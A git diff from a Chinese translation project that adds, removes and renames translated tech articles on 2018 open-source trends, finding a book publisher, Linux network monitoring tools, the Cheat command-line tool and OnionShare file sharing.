+OpenStack 基金会一直在致力于完善他们的产品。不管发布与否的一些小的功能创新,都会解决 OpenStack 的潜在问题。随着其结构复杂性降低,OpenStack 将获取更大认可。加之众多大型软件开发和托管公司以及成千上万会员的支持, OpenStack 在云计算时代前途光明。
+
+### 2\. PWA 或将大热
+
+PWA,即 [增强型网页应用][13],是技术、设计和网络应用程序接口(web APIs)的集合,它能够在移动浏览器上提供类似应用程序的体验
+
+传统的网页有许多与生俱来的缺点。虽然应用程序提供了一个比网页更加个性化、用户参与度更高的体验,但是却要占用大量的系统资源;并且要想使用应用,你还必须提前下载安装。PWA 则扬长避短,它为浏览器、可变引擎搜索框和其他一些操作作出响应,为用户提供应用程序般的体验。PWA 也能像应用程序一样自动更新显示最新的信息,基于网页的 HTTPS 模式又让其更加安全。PWA 运行于标准容器中,无须安装,只要输入 URL 即可。
+
+现在的移动用户看重便利性和参与度,PWAs 的特性完美契合这一需求,所以 PWA 成为主流是必然趋势。
+
+### 3\. Rust 成开发者新宠
+
+大多数的编程语言都在安全性和控制二者之间折衷,[Rust][14] 是一个例外。Rust 使用广泛的编译时间检查进行 100% 的控制而不影响程序安全性。上一次 [Pwn2Own][15] 竞赛找出了 Firefox C++ 底层实现的许多严重漏洞。如果 Firefox 是用 Rust 编写的,这些漏洞在产品发布之前的编译阶段就会被发现并解决。
+
+Rust 独特的内建单元测试方法使开发者们考虑将其作为首选开源语言。它是 C 和 Python 等其他编程语言有效的替代方案,Rust 可以在不丢失程序可读性的情况下写出安全的代码。总之,Rust 前途光明。
+
+### 4\. R 用户群在壮大
+
+[R][16] 编程语言,是一个与统计计算和图像呈现相关的 [*GUN* 项目][32]。它提供了大量的统计和图形技术,并且可扩展引导。它是 [S][17] 语言的延续。S 语言早已成为统计方法学的首选工具,R 为数据操作、计算和图形显示提供了开源选择。R 语言的另一个优势是对细节的把控和对细微差别的关注。
+
+和 Rust 一样,R 语言也处于上升期。
+
+### 5\. 广义的 XaaS
+
+XaaS 是 ”一切都是服务“ 的缩写,是通过网络提供的各种线上服务的总称。XaaS 的外延正在扩大,软件服务(SaaS),基础设施服务(IaaS) 和平台服务(PaaS)等观念已深入人心,新兴的基于云的服务如网络服务(NaaS),存储服务(SaaS 或StaaS),监控服务(MaaS)以及通信服务(CaaS)等概念也正在普及。我们正在迈向一个 ”一切都是服务“ 的世界。
+
+现在,XaaS 的概念已经延伸到实体企业。著名的例子有 Uber 、Lyft 和 Airbnb,前二者利用新科技提供交通服务,后者提供住宿服务。
+
+高速网络和服务器虚拟化使得强大的计算能力成为可能,这加速了XaaS的发展,2018 年可能是 ”XaaS 年‘’。XaaS 无与伦比的灵活性、可扩展性将推动 XaaS 进一步发展。
+
+### 6\. 容器技术越来越受欢迎
+
+[容器技术][28],是用标准化方法打包代码的技术,它使得代码能够在任意环境中快速地 ”接入和运行“。容器技术使企业削减花费、更快运行程序。尽管容器技术在 IT 基础结构改革方面的潜力已经表现的很明显,事实上,运用好容器技术仍然是一个难题。
+
+容器技术仍在发展中,技术复杂性随着各方面的进步在下降。最新的技术让容器使用起来像使用智能手机一样简单、直观,更不用说现在的企业需求:速度和灵活性往往能决定业务成败。
+
+### 7\. 机器学习和人工智能的更广泛应用
+
+[机器学习和人工智能][18] 指在没有程序员给出明确的编码指令的情况下,机器具备自主学习并且积累经验自我改进的能力。
+
+随着一些开源技术利用机器学习和人工智能实现尖端服务和应用,这两项技术已经深入人心。
+
+[Gartner][19] 预测,2018 年机器学习和人工智能的应用会更广。其他一些领域诸如数据准备、集成、算法选择、方法选择、模块制造等随着机器学习的加入将会取得很大进步。
+
+全新的智能开源解决方案将改变人们和系统交互的方式,转变由来已久的工作观念。
+
+* 机器交互,像[自助语音聊天程序][29]这样的对话平台,提供“问与答”的体验——用户提出问题,对话平台作出回应。
+* 无人驾驶和无人机现在已经家喻户晓了,2018年将会更司空见惯。
+* 沉浸式体验的应用不再仅仅局限于视频游戏,在真实的生活场景比如设计、培训和可视化过程中都能看到沉浸式体验的身影。
+
+### 8. 数据区块链将成为主流
+
+自比特币应用数据区块链技术以来,其已经取得了重大进展,并且已广泛应用在金融系统、保密选举、学历验证、等领域中。未来几年,区块链会在医疗、制造业、供应链物流、政府服务等领域中大展拳脚。
+
+数据区块链分布式存储数据信息,这些数据信息依赖于数百万个共享数据库的节点。数据区块不被任意单一所有者控制,并且单个损坏的节点不影响其正常运行,数据区块链的这两个特性让它异常健康、透明、不可破坏。同时也规避了有人从中篡改数据的风险。数据区块链强大的先天优势足够支撑其成为将来主流技术。
+
+### 9.认知云粉墨登场
+
+认识技术,如前所述的机器学习和人工智能,用于为多行业提供简单化和个性化服务。一个典型例子是金融行业的游戏化应用,其为投资者提供严谨的投资建议,降低投资模块的复杂程度。数字信托平台使得金融机构的身份认证过程较以前精简80%,提升了协议遵守率,降低了诈骗率。
+
+认知云技术现在正向云端迁移,借助云,它将更加强大。[IBM Watson][33] 是认知云应用最知名的例子。IBM 的 UIMA 架构是开源的,由 Apache 负责维护。DARPA(美国国防高级研究计划局) 的 DeepDive 项目借鉴 Watson 的机器学习能力,通过不断学习人类行为来增强决断能力。另一个开源平台 [OpenCog][34] ,为开发者和数据科学家开发人工智能应用程序提供支撑。
+
+考虑到实现先进的、个性化的用户体验风险较高,这些认知云平台决定来年时机成熟,再粉墨登场。
+
+### 10.物联网智联万物
+
+物联网(IoT)的核心在于建立小到嵌入式传感器、大至计算机设备的相互连接,让其(“事物”)相互之间可以收发数据。毫无疑问,物联网将会是科技届的下一个 “搅局者”,但物联网本身处于一个不断变化的状态。
+
+物联网最广为人知的产品就是 IBM 和三星合力打造的去中心化P2P自动遥测系统([ADEPT][20])。它运用和区块链类似的技术来构建一个去中心化的物联网。没有中央控制设备,”事物“ 之间通过自主交流来进行升级软件、处理bug、管理电源等等一系列操作。
+
+### 开源推动技术创新
+
+[数字中断][30]是当今以科技为中心的时代的常态。在技术领域,开放源代码正在逐渐普及,其在2018将年成为大多数科技创新的驱动力。
+
+此榜单对开源技术趋势的预测有遗漏?在评论区告诉我们吧!
+
+*文章标签:* [ `商业` ][25] [ `年鉴` ][26] [ `2017开源年鉴` ][27]
+
+### 关于作者
+
+
+
+[**Sreejith Omanakuttan**][21] - 自 2000 年开始编程,2007年开始从事专业工作。目前在 [Fingent][6] 领导开源团队,工作内容涵盖不同的技术层面,从“无聊的工作”(?)到前沿科技。有一套 “构建—修复—推倒重来” 工作哲学。在领英上关注我:https://www.linkedin.com/in/futuregeek/
+
+--------------------------------------------------------------------------------
+
+原文链接: https://opensource.com/article/17/11/10-open-source-technology-trends-2018
+
+作者:[Sreejith ][a]
+译者:[wangy325](https://github.com/wangy25)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/sreejith
+[1]:https://opensource.com/resources/what-is-openstack?intcmp=7016000000127cYAAQ
+[2]:https://opensource.com/resources/openstack/tutorials?intcmp=7016000000127cYAAQ
+[3]:https://opensource.com/tags/openstack?intcmp=7016000000127cYAAQ
+[4]:https://www.rdoproject.org/?intcmp=7016000000127cYAAQ
+[5]:https://opensource.com/article/17/11/10-open-source-technology-trends-2018?rate=GJqOXhiWvZh0zZ6WVTUzJ2TDJBpVpFhngfuX9V-dz4I
+[6]:https://www.fingent.com/
+[7]:https://www.linkedin.com/in/futuregeek/
+[9]:https://opensource.com/user/185026/feed
+[10]:https://www.flickr.com/photos/mitchell3417/9206373620
+[11]:https://creativecommons.org/licenses/by-sa/4.0/
+[12]:https://www.openstack.org/
+[13]:https://developers.google.com/web/progressive-web-apps/
+[14]:https://www.rust-lang.org/
+[15]:https://en.wikipedia.org/wiki/Pwn2Own
+[16]:https://en.wikipedia.org/wiki/R_(programming_language)
+[17]:https://en.wikipedia.org/wiki/S_(programming_language)
+[18]:https://opensource.com/tags/artificial-intelligence
+[19]:https://sdtimes.com/gartners-top-10-technology-trends-2018/
+[20]:https://insights.samsung.com/2016/03/17/block-chain-mobile-and-the-internet-of-things/
+[21]:https://opensource.com/users/sreejith
+[22]:https://opensource.com/users/sreejith
+[23]:https://opensource.com/users/sreejith
+[24]:https://opensource.com/article/17/11/10-open-source-technology-trends-2018#comments
+[25]:https://opensource.com/tags/business
+[26]:https://opensource.com/tags/yearbook
+[27]:https://opensource.com/yearbook/2017
+[28]:https://www.techopedia.com/2/31967/trends/open-source/container-technology-the-next-big-thing
+[29]:https://en.wikipedia.org/wiki/Chatbot
+[30]:https://cio-wiki.org/home/loc/home?page=digital-disruption
+[31]:https://opensource.com/
+[32]:https://en.wikipedia.org/wiki/GNU_Project
+[33]:https://en.wikipedia.org/wiki/Watson_(computer)
+[34]:https://en.wikipedia.org/wiki/OpenCog
\ No newline at end of file
diff --git a/translated/tech/20171201 How to find a publisher for your tech book.md b/translated/tech/20171201 How to find a publisher for your tech book.md
new file mode 100644
index 0000000000..4f27cba2b7
--- /dev/null
+++ b/translated/tech/20171201 How to find a publisher for your tech book.md
@@ -0,0 +1,74 @@
+如何为你的科技书籍找到出版商
+============================================================
+
+> 想去写一本科技书籍是一个好的想法,但你还需要去了解一下出版业的运作过程。
+
+
+
+你有一个写本科技书籍的想法,那么祝贺你!就像徒步旅行,或者是去学做一种甜点心,写一本书就像人们说的那些事情一样,但是却都只停留在思考的初级阶段。那是可以理解的,因为失败的几率是很高的。要想实现它你需要在把你的想法阐述给出版商,去探讨是否已经准备充分去写成一本书。要去实现这一步是相当困难的,但最困难的是你缺少如何完成它的足够信息。
+
+如果你想和一个传统的出版商合作,你需要在他们面前推销你的书籍以期望能够得到出版的机会。我是 [Pragmatci Bookshelf][4] 的编辑主管,所以我经常看到很多的提案,也去帮助作者提议更好的主意。有些是好的,有些则不然,但我经常会看到许多不符合我们出版社风格的文稿。我会帮助你去选择最适合的出版商,来让你的想法得到认可。
+
+### 鉴别出你的目标
+
+你的第一步是要找出最适合你的想法的出版商。你可以从你较喜欢购买的书籍的出版商开始,你的书会被像你自己一样的人喜欢的几率是很高的,所以从你自己最喜欢的出版商开始将会大大缩小你的搜索范围。如果你自己所买的书籍并不多。你可以去书店逛逛,或者在亚马逊网站上看看。 列一个你自己喜欢的的出版商的清单出来
+
+下一步,挑选出你期望的,尽管大多数技术类出版商看起来没什么差别,但他们通常各有不同的读者群体。有些出版商会选择广受欢迎的话题,如 C++ 或者 Java。你以 Elixir 为主题的书籍就可能不适合那个出版商。如果你的书是关于教授小孩学习编程的,你可能就不想让学术出版商来出版。
+
+一旦你已经鉴别出一些目标,在他们自己的网站或者亚马逊上对他们进行深一步的调查。 去寻找他们有哪些书籍是和你的思想是相符的。如果他们能有一本和你自己的书籍的主题一样或很相近的书,你将会很难说服他们和你签约。但那并不意味着你已经可以把这样的出版商从你的列表中划掉。你可以将你的书籍的主题进行适当的修改以将它和已经发行的书区别开来:比如定位于不同的读者群体,或者不同层次的技能水平。也许已发行的那本书已经过时了,你就可以专注于在该技术领域里的新方法。确保你的书籍能够弥补现有书的不足,更加完善,而不只是去写完这本书。
+
+如果你锁定的出版商没有出版过类似的书籍,也许这将会是个好的机遇,但也许也会很糟糕。有时候一些供应商不会选择去出版一些专业技术方面的书籍,或者是因为他们认为他们的读者不会感兴趣,还可能是因为他们曾经在这块领域遇到过麻烦。新的语言或者类库一直在不停的涌现出来,出版商们不得不去琢磨什么样的书籍内容将会吸引他们的读者群体。他们的评估标准可能和你的是不一样的。唯一的途径是通过投稿来试探。
+
+### 建立起你自己的网络
+
+鉴别出一家出版商是第一步;现在你首先需要去建立联系。不幸的是,出版业你认识的人却往往不是你所需要找的人。你需要认识的那个人是一个去发现新市场、新作者和新选题的组稿编辑。如果你认识某个和出版商有关系的人,请他帮你介绍认识一位组稿编辑。这些组稿编辑往往负责一个专题板块,尤其是在较大的出版商,但你不必一定要找到符合你的书的专题板块的编辑。任何板块的编辑通常会很乐意将你介绍给符合你的主题的编辑。
+
+有时候你也许能够在一个技术论坛展会上找到一个组稿编辑,特别是出版商是赞助商,而且还有一个展台时。即使在当时并没有一个组稿编辑在场,在展台的其他员工也能够帮你和组稿编辑建立联系。 如果论坛不符合你的主题思想,你需要利用你的社交网络来获得别人的推荐。使用 LinkedIn,或者其他非正式的联系方式,去和一个编辑建立联系。
+
+对于小型的出版商,如果你很幸运的话,你可以在他们的公司网站上获得组稿编辑的联系方式。如果找不到联系方式的话,在推特上搜寻出版商的名字,试试能否找到他们的组稿编辑的信息,在社交媒体上去寻找一位陌生的人然后把自己的书推荐给他也许会让你有些紧张担心,但是你真的不必去担心这些,建立联系也是组稿编辑的工作之一。最坏的结果只不过是他们忽视你而已。
+
+一旦你建立起联系,组稿编辑将会协助你进行下一步。他们可能会很快对你的书稿给予反馈,或者在他们考虑你的书之前想让你根据他们的指导来修改你的文章,当你经过努力找到了一名组稿编辑后,多听从他们的建议,因为他们比你更熟悉出版商的运作系统。
+
+### 如果其它的方法都失败了
+
+如果你无法找到一名组稿编辑,出版商通常会有一个书稿盲投的方式,通常是 `proposals@[publisher].com` 的格式。 查找他们网站的介绍找到如何去发送书稿;有的出版商是有特殊的要求的。遵循他们的要求,如果把你不这样做的话,你的书将会被丢弃,不会被任何人阅读。如果你有疑问,或者不确定出版商的意图,你需要再尝试着去找一名组稿编辑进一步的沟通,因为书稿并不能回答那些问题。整理他们对你的要求(一篇独立的主题文章),发给他们,然后就去期望能够得到满意的答复。
+
+### 然后就是……等待
+
+无论你和一个出版商有着多么密切的联系,你也得等待着。如果你已经投递了书稿,也许要过一段时间才有人去处理你的稿件,特别是在一些大公司。即使你已经找了一位组稿编辑去处理你的投稿,你可能也只是他同时在处理的潜在目标之一,所以你可能不会很快得到答复。几乎所有的出版商都会在最终确认之前召开一次组委会来决定接受哪个稿件,所以即使你的书稿已经足够的优秀可以出版了,你也任然需要等待组委会的最后探讨。你可能需要等待几周的时间,甚至是一个月的时间。
+
+几周过后,你可以和编辑联系一下看看他们是否需要更多的信息。在邮件中你要表现出足够的礼貌;如果他们仍然回复,也许是因为他们有太多的投稿需要处理,即使你不停的催促也不会让你的稿件被提前处理。一些出版商有可能永远不会回复你,也不会去发一份退稿的通知给你,但那种情况并不常见。在这种情况系你除了耐心的等待也没有别的办法,如果几个月后也没有人回复你邮件,你完全可以去接触另一个出版商或者干脆考虑自己来出版。
+
+### 好运气
+
+如果这个过程看起来让你感觉有些混乱和不科学,这是很正常的。能够得到出版要依靠合适的地方、合适的时间,和合适的人探讨,而且还要期待他们此时有好的心情。你无法去控制这些不确定的因素,但是对出版社运作过程的熟悉,了解出版商们的需求,能够帮助你做出一个自己能掌控的最佳选择。
+
+寻找一个出版商只是万里长征的第一步。你需要提炼你的想法并创建提案,以及其他方面的考虑。在今年的 SeaGLS 上,我对整个过程的介绍指导有个[演讲][5]。去看看那个[视频][6]获得更多的细节信息。
+
+### 关于作者
+
+[][7]
+
+麦克唐纳先生现在是 Pragmatic Bookshelf 的主管编辑。在过去的 20 年里,在技术出版领域,他是一名编辑、一名作者、偶尔还去客串演讲者或者讲师。他现在把大量的时间都用来去和新作者探讨如何更好的表达出他们的想法。你可以关注他的推特@bmac_editor。
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/article/17/12/how-find-publisher-your-book
+
+作者:[Brian MacDonald][a]
+译者:[FelixYFZ](https://github.com/FelixYFZ)
+校对:[wxy](https://github.com/wxy)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/bmacdonald
+[1]:https://opensource.com/article/17/12/how-find-publisher-your-book?rate=o42yhdS44MUaykAIRLB3O24FvfWxAxBKa5WAWSnSY0s
+[2]:https://opensource.com/users/bmacdonald
+[3]:https://opensource.com/user/190176/feed
+[4]:https://pragprog.com/
+[5]:https://archive.org/details/SeaGL2017WritingTheNextGreatTechBook
+[6]:https://archive.org/details/SeaGL2017WritingTheNextGreatTechBook
+[7]:https://opensource.com/users/bmacdonald
+[8]:https://opensource.com/users/bmacdonald
+[9]:https://opensource.com/users/bmacdonald
+[10]:https://opensource.com/article/17/12/how-find-publisher-your-book#comments
diff --git a/translated/tech/20171203 Best Network Monitoring Tools For Linux.md b/translated/tech/20171203 Best Network Monitoring Tools For Linux.md
deleted file mode 100644
index 8fc2cd25e3..0000000000
--- a/translated/tech/20171203 Best Network Monitoring Tools For Linux.md
+++ /dev/null
@@ -1,127 +0,0 @@
-Linux 中最佳的网络监视工具
-===============================
-
-保持对我们的网络的管理,防止任何程序过度使用网络、导致整个系统操作变慢,对管理员来说是至关重要的。对不同的系统操作,这是有几个网络监视工具。在这篇文章中,我们将讨论从 Linux 终端中运行的 10 个网络监视工具。它对不使用 GUI 而希望通过 SSH 来保持对网络管理的用户来说是非常理想的。
-
-### Iftop
-
- [][2]
-
-与 Linux 用户经常使用的 Top 是非常类似的。这是一个系统监视工具,它允许我们知道在我们的系统中实时运行的进程,并可以很容易地管理它们。Iftop 与 Top 应用程序类似,但它是专门监视网络的,通过它可以知道更多的关于网络的详细情况和使用网络的所有进程。
-
-我们可以从 [这个链接][3] 获取关于这个工具的更多信息以及下载必要的包。
-
-### Vnstat
-
- [][4]
-
-**Vnstat** 是一个缺省包含在大多数 Linux 发行版中的网络监视工具。它允许我们在一个用户选择的时间周期内获取一个实时管理的发送和接收的流量。
-
-我们可以从 [这个链接][5] 获取关于这个工具的更多信息以及下载必要的包。
-
-### Iptraf
-
- [][6]
-
-**IPTraf** 是一个 Linux 的、基于控制台的、实时网络监视程序。(IP LAN) - 收集经过这个网络的各种各样的信息作为一个 IP 流量监视器,包括 TCP 标志信息、ICMP 详细情况、TCP / UDP 流量故障、TCP 连接包和 Byne 报告。它也收集接口上全部的 TCP、UDP、…… 校验和错误、接口活动等等的详细情况。
-
-我们可以从 [这个链接][7] 获取这个工具的更多信息以及下载必要的包。
-
-### Monitorix - 系统和网络监视
-
- [][8]
-
-Monitorix 是一个轻量级的免费应用程序,它设计用于去监视尽可能多的 Linux / Unix 服务器的系统和网络资源。一个 HTTP web 服务器可以被添加到它里面,定期去收集系统和网络信息,并且在一个图表中显示它们。它跟踪平均的系统负载、内存分配、磁盘健康状态、系统服务、网络端口、邮件统计信息(Sendmail、Postfix、Dovecot、等等)、MySQL 统计信息以及其它的更多内容。它设计用于去管理系统的整体性能,以及帮助检测故障、瓶颈、异常活动、等等。
-
-下载及更多 [信息在这里][9]。
-
-### Dstat
-
- [][10]
-
-这个监视器相比前面的几个知名度低一些,但是,在一些发行版中已经缺省包含了。
-
-我们可以从 [这个链接][11] 获取这个工具的更多信息以及下载必要的包。
-
-### Bwm-ng
-
- [][12]
-
-这是最简化的工具中的一个。它允许你去从交互式连接中取得数据,并且,为了便于其它设备使用,在取得数据的同时,能以某些格式导出它们。
-
-我们可以从 [这个链接][13] 获取这个工具的更多信息以及下载必要的包。
-
-### Ibmonitor
-
- [][14]
-
-与上面的类似,它显示连接接口上过滤后的网络流量,并且,从接收到的流量中明确地区分区开发送流量。
-
-我们可以从 [这个链接][15] 获取这个工具的更多信息以及下载必要的包。
-
-### Htop - Linux 进程跟踪
-
- [][16]
-
-Htop 是一个更高级的、交互式的、实时的 Linux 进程跟踪工具。它类似于 Linux 的 top 命令,但是有一些更高级的特性,比如,一个更易于使用的进程管理接口、快捷键、水平和垂直的进程视图、等更多特性。Htop 是一个第三方工具,它不包含在 Linux 系统中,你必须使用 **YUM** 或者 **APT-GET** 或者其它的包管理工具去安装它。关于安装它的更多信息,读[这篇文章][17]。
-
-我们可以从 [这个链接][18] 获取这个工具的更多信息以及下载必要的包。
-
-### Arpwatch - 以太网活动监视器
-
- [][19]
-
-Arpwatch 是一个设计用于在 Linux 网络中去管理以太网通讯的地址解析的程序。它持续监视以太网通讯并记录 IP 地址和 MAC 地址的变化。在一个网络中,它们的变化同时伴随记录一个时间戳。它也有一个功能是当一对 IP 和 MAC 地址被添加或者发生变化时,发送一封邮件给系统管理员。在一个网络中发生 ARP 攻击时,这个功能非常有用。
-
-我们可以从 [这个链接][20] 获取这个工具的更多信息以及下载必要的包。
-
-### Wireshark - 网络监视工具
-
- [][21]
-
-**[Wireshark][1]** 是一个免费的应用程序,它允许你去捕获和查看前往你的系统和从你的系统中返回的信息,它可以去深入到通讯包中并查看每个包的内容 – 分开它们来满足你的特殊需要。它一般用于去研究协议问题和去创建和测试程序的特别情况。这个开源分析器是一个被公认的分析器商业标准,它的流行是因为纪念那些年的荣誉。
-
-最初它被认识是因为 Ethereal,Wireshark 有轻量化的、易于去理解的界面,它能分类显示来自不同的真实系统上的协议信息。
-
-### 结论
-
-在这篇文章中,我们看了几个开源的网络监视工具。由于我们从这些工具中挑选出来的认为是“最佳的”,并不意味着它们都是最适合你的需要的。例如,现在有很多的开源监视工具,比如,OpenNMS、Cacti、和 Zennos,并且,你需要去从你的个体情况考虑它们的每个工具的优势。
-
-另外,还有不同的、更适合你的需要的不开源的工具。
-
-你知道的或者使用的在 Linux 终端中的更多网络监视工具还有哪些?
-
---------------------------------------------------------------------------------
-
-via: http://www.linuxandubuntu.com/home/best-network-monitoring-tools-for-linux
-
-作者:[LinuxAndUbuntu][a]
-译者:[qhwdw](https://github.com/qhwdw)
-校对:[校对者ID](https://github.com/校对者ID)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:http://www.linuxandubuntu.com
-[1]:https://www.wireshark.org/
-[2]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/iftop_orig.png
-[3]:http://www.ex-parrot.com/pdw/iftop/
-[4]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/edited/vnstat.png
-[5]:http://humdi.net/vnstat/
-[6]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/iptraf_orig.gif
-[7]:http://iptraf.seul.org/
-[8]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/monitorix_orig.png
-[9]:http://www.monitorix.org
-[10]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/dstat_orig.png
-[11]:http://dag.wiee.rs/home-made/dstat/
-[12]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/bwm-ng_orig.png
-[13]:http://sourceforge.net/projects/bwmng/
-[14]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/ibmonitor_orig.jpg
-[15]:http://ibmonitor.sourceforge.net/
-[16]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/htop_orig.png
-[17]:http://wesharethis.com/knowledgebase/htop-and-atop/
-[18]:http://hisham.hm/htop/
-[19]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/arpwatch_orig.png
-[20]:http://linux.softpedia.com/get/System/Monitoring/arpwatch-NG-7612.shtml
-[21]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/how-to-use-wireshark_1_orig.jpg
-
-
diff --git a/sources/tech/20171207 Cheat – A Collection Of Practical Linux Command Examples.md b/translated/tech/20171207 Cheat – A Collection Of Practical Linux Command Examples.md
similarity index 61%
rename from sources/tech/20171207 Cheat – A Collection Of Practical Linux Command Examples.md
rename to translated/tech/20171207 Cheat – A Collection Of Practical Linux Command Examples.md
index 615de120d1..6d7d3d0edd 100644
--- a/sources/tech/20171207 Cheat – A Collection Of Practical Linux Command Examples.md
+++ b/translated/tech/20171207 Cheat – A Collection Of Practical Linux Command Examples.md
@@ -1,48 +1,37 @@
-translating---geekpi
-
-Cheat – A Collection Of Practical Linux Command Examples
+Cheat - 一个实用 Linux 命令示例集合
======
-Many of us very often checks **[Man Pages][1]** to know about command switches
-(options), it shows you the details about command syntax, description,
-details, and available switches but it doesn 't has any practical examples.
-Hence, we are face some trouble to form a exact command format which we need.
+我们中的许多人经常查看 **[ man 页面][1]** 来了解命令开关(选项),它会显示有关命令语法、说明、细节和可用的选项,但它没有任何实际的例子。因此,在组合成一个完整的我们需要的命令时会遇到一些麻烦。
-Are you really facing the trouble on this and want a better solution? i would
-advise you to check about cheat utility.
+你确实遇到这个麻烦而想要一个更好的解决方案吗?我会建议你试一下 cheat。
-#### What Is Cheat
+#### Cheat 是什么
-[Cheat][2] allows you to create and view interactive cheatsheets on the
-command-line. It was designed to help remind *nix system administrators of
-options for commands that they use frequently, but not frequently enough to
-remember.
+[cheat][2] 允许你在命令行中创建和查看交互式 cheatsheet。它旨在帮助提醒 *nix 系统管理员
+他们经常使用但还没频繁到会记住的命令的选项。
-#### How to Install Cheat
+#### 如何安装 Cheat
-Cheat package was developed using python, so install pip package to install
-cheat on your system.
+cheat 是使用 python 开发的,所以用 pip 来在你的系统上安装 cheat。
-For **`Debian/Ubuntu`** , use [apt-get command][3] or [apt command][4] to
-install pip.
+对于 **`Debian/Ubuntu`** 用户,请使用[ apt-get 命令][3]或[ apt 命令][4]来安装 pip。
```
- [For Python2]
+ [对于 Python2]
$ sudo apt install python-pip python-setuptools
- [For Python3]
+ [对于 Python3]
$ sudo apt install python3-pip
```
-pip doesn't shipped with **`RHEL/CentOS`** system official repository so,
-enable [EPEL Repository][5] and use [YUM command][6] to install pip.
+**`RHEL/CentOS`** 官方仓库中没有 pip,因此使用[ EPEL 仓库][5],并使用[ YUM 命令][6]安装 pip。
```
@@ -50,62 +39,61 @@ enable [EPEL Repository][5] and use [YUM command][6] to install pip.
```
-For **`Fedora`** system, use [dnf Command][7] to install pip.
+对于 **`Fedora`** 系统,使用[ dnf 命令][7]来安装 pip。
```
- [For Python2]
+ [对于 Python2]
$ sudo dnf install python-pip
- [For Python3]
+ [对于 Python3]
$ sudo dnf install python3
```
-For **`Arch Linux`** based systems, use [Pacman Command][8] to install pip.
+对于基于 **`Arch Linux`** 的系统,请使用[ Pacman 命令][8] 来安装 pip。
```
- [For Python2]
+ [对于 Python2]
$ sudo pacman -S python2-pip python-setuptools
- [For Python3]
+ [对于 Python3]
$ sudo pacman -S python-pip python3-setuptools
```
-For **`openSUSE`** system, use [Zypper Command][9] to install pip.
+对于 **`openSUSE`** 系统,使用[ Zypper 命令][9]来安装 pip。
```
- [For Python2]
+ [对于 Python2]
$ sudo pacman -S python-pip
- [For Python3]
+ [对于 Python3]
$ sudo pacman -S python3-pip
```
-pip is a python module bundled with setuptools, it's one of the recommended
-tool for installing Python packages in Linux.
+pip 是一个与 setuptools 捆绑在一起的 Python 模块,它是在 Linux 中安装 Python 包推荐的工具之一。
```
@@ -113,10 +101,9 @@ tool for installing Python packages in Linux.
```
-#### How to Use Cheat
+#### 如何使用 Cheat
-Run `cheat` followed by corresponding `command` to view the cheatsheet, For
-demonstration purpose, we are going to check about `tar` command examples.
+运行 `cheat`,然后按相应的`命令`来查看 cheatsheet,作为例子,我们要来看下 `tar` 命令的例子。
```
@@ -158,7 +145,7 @@ demonstration purpose, we are going to check about `tar` command examples.
```
-Run the following command to see what cheatsheets are available.
+运行下面的命令查看可用的 cheatsheet。
```
@@ -166,7 +153,7 @@ Run the following command to see what cheatsheets are available.
```
-Navigate to help page for more details.
+进入帮助页面获取更多详细信息。
```
@@ -180,7 +167,7 @@ Navigate to help page for more details.
via: https://www.2daygeek.com/cheat-a-collection-of-practical-linux-command-examples/
作者:[Magesh Maruthamuthu][a]
-译者:[译者ID](https://github.com/译者ID)
+译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
diff --git a/translated/tech/20171208 OnionShare - Share Files Anonymously.md b/translated/tech/20171208 OnionShare - Share Files Anonymously.md
new file mode 100644
index 0000000000..f501bea881
--- /dev/null
+++ b/translated/tech/20171208 OnionShare - Share Files Anonymously.md
@@ -0,0 +1,77 @@
+OnionShare - 匿名共享文件
+======
+在这个数字世界中,我们通过互联网使用 Dropbox、Mega、Google Drive 等不同云存储分享我们的媒体、文档和重要文件。但是每个云存储都有两个主要问题,一个是大小和另一个安全。习惯 Bit Torrent 之后,大小已经不是问题了,但安全性仍旧是。
+
+你即使通过安全云服务发送文件,公司也会注意到这些文件,如果这些文件是保密的,政府甚至可以拥有它们。因此,为了克服这些问题,我们使用 OnionShare,如它的名字那样它使用洋葱网络也就是 Tor 来匿名分享文件给任何人。
+
+### 如何使用 **OnionShare**?
+
+ * 首先下载 [OnionShare][1] 和 [Tor浏览器][2]。下载后安装它们。
+
+
+
+[![install onionshare and tor browser][3]][3]
+
+ * 现在从开始菜单打开 OnionShare
+
+
+
+[![onionshare share files anonymously][4]][4]
+
+ * 点击添加并添加一个文件/文件夹共享。
+ * 点击开始分享。它会产生一个 .onion 网址,你可以与你的收件人分享这个网址。
+
+
+
+[![share file with onionshare anonymously][5]][5]
+
+ * 从 URL 下载文件,复制 URL 并打开 Tor 浏览器并粘贴。打开 URL 并下载文件/文件夹。
+
+
+
+[![receive file with onionshare anonymously][6]][6]
+
+### **OnionShare** 的开始
+
+几年前,Glenn Greenwald 发现他从 Edward Snowden 收到的一些 NSA 的文件已经被损坏。但他需要文件,并决定通过使用 USB 获取文件。这并不成功。
+
+在阅读了 Greenwald 写的书后,The Intercept 的安全专家 Micah Lee 发布了 OnionShare - 一个简单的免费软件,可以匿名和安全地共享文件。他创建了一个程序,通过一个被匿名软件 Tor 加密和保护的直接通道来共享大数据转储,使窃取者难以获取文件。
+
+### **OnionShare** 如何工作?
+
+OnionShare 在 127.0.0.1 上启动了一个 Web 服务器,用于在随机端口上共享文件。它从有 6880 个单词的单词列表中选择任意两个单词,称为 slug。它使服务器可以作为 Tor 洋葱服务发送文件。最终的 URL 看起来像这样:
+
+`http://qx2d7lctsnqwfdxh.onion/subside-durable`
+
